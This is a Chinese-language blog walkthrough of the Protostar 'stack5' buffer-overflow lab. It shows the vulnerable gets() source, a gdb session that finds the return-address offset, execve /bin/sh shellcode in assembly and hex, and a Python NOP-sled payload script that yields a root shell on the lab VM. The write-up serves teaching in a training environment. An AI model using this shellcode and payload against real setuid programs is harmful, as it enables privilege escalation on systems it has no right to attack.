About
Stack5 is a standard buffer overflow, this time introducing shellcode.
Hints:
- At this point in time, it might be easier to use someone elses shellcode
- If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
- remove the int3s once your shellcode is done.
This level is at /opt/protostar/bin/stack5
Source code
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
这题对我来说算是比较有挑战性的,除了求助外,也花了我不少时间来Debug。。。。
这道题该怎么过呢?其实是需要在buffer中填进一段shellcode,并修改函数的RET地址跳到shellcode的地方并执行。
同样,第一步需先找出程序的RET与buffer输入的第一个字符的距离。。。
user@protostar:/opt/protostar/bin$ gdb -q stack5 Reading symbols from /opt/protostar/bin/stack5...done. (gdb) disassemble main Dump of assembler code for function main: 0x080483c4 <main+0>: push %ebp 0x080483c5 <main+1>: mov %esp,%ebp 0x080483c7 <main+3>: and $0xfffffff0,%esp 0x080483ca <main+6>: sub $0x50,%esp 0x080483cd <main+9>: lea 0x10(%esp),%eax 0x080483d1 <main+13>: mov %eax,(%esp) 0x080483d4 <main+16>: call 0x80482e8 <gets@plt> 0x080483d9 <main+21>: leave 0x080483da <main+22>: ret End of assembler dump. (gdb) b *main+21 Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11. (gdb) r Starting program: /opt/protostar/bin/stack5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Breakpoint 1, main (argc=1, argv=0xbffff864) at stack5/stack5.c:11 11 stack5/stack5.c: No such file or directory. in stack5/stack5.c (gdb) x/40x $esp 0xbffff760: 0xbffff770 0xb7ec6165 0xbffff778 0xb7eada75 0xbffff770: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff780: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff790: 0x61616161 0x61616161 0x61616161 0x00616161 0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x080483fb 0xb7fd7ff4 0xbffff7b0: 0x080483f0 0x00000000 0xbffff838 0xb7eadc76 0xbffff7c0: 0x00000001 0xbffff864 0xbffff86c 0xb7fe1848 0xbffff7d0: 0xbffff820 0xffffffff 0xb7ffeff4 0x08048232 0xbffff7e0: 0x00000001 0xbffff820 0xb7ff0626 0xb7fffab0 0xbffff7f0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000 (gdb) p $ebp - 0xbffff770 + 4 $1 = (void *) 0x4c (gdb) p 0x4c $2 = 76
因此输入的格式应该是长下面这样的:
<nop><shellcode><AAAA><newRET>
|<---------76-------->|<--4->|
第二步就是要找一个有用的shellcode,在网上找了个代码如下:
user@protostar:~/stack5$ cat shell.asm section .text global _start _start: mov eax,0xf068732f and eax,0x0fffffff push eax mov eax,0x6e69622f push eax mov ebx,esp xor eax,eax mov al,11 xor ecx,ecx xor edx,edx int 0x80
再编辑一下
user@protostar:~/stack5$ nasm -f elf shell.asm user@protostar:~/stack5$ ld -o shell shell.o user@protostar:~/stack5$ ./shell
用 objdump来查看十六进制的代码, objdump -d shell.o
user@protostar:~/stack5$ objdump -d shell.oshell.o: file format elf32-i386Disassembly of section .text:00000000 <_start>: 0: b8 2f 73 68 f0 mov $0xf068732f,%eax 5: 25 ff ff ff 0f and $0xfffffff,%eax a: 50 push %eax b: b8 2f 62 69 6e mov $0x6e69622f,%eax 10: 50 push %eax 11: 89 e3 mov %esp,%ebx 13: 31 c0 xor %eax,%eax 15: b0 0b mov $0xb,%al 17: 31 c9 xor %ecx,%ecx 19: 31 d2 xor %edx,%edx 1b: cd 80 int $0x80
为了方便输入,把shellcode转化为Python脚本。。。
user@protostar:~/stack5$ cat pwn5.py #!/usr/bin/env pythonoffset = 72shellcode = "\xb8\x2f\x73\x68\xf0\x25\xff\xff\xff\x0f\x50\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\xb0\x0b\x31\xc9\x31\xd2\xcd\x80"nopsled = "\x90" * (offset - len(shellcode))ret = "\x80\xf7\xff\xbf"payload = nopsled + shellcode + "jjjj" + retprint payload
细心的童鞋可能会发现buffer首字符地址应该是0xbffff770,而shellcode的RET地址写的是0xbffff780,这样写的原因是因为0x90(NOP)在汇编中是空指令,而RET地址落在连续一串的空指令在任何一个地方的作用都是相等的,因此地址落在NOP中间的话会对移植性有提高。。。
user@protostar:~/stack5$ (cat payload5; cat) | /opt/protostar/bin/stack5iduid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)whoamiroot
终于搞定,写到胃疼~~~赶紧碎觉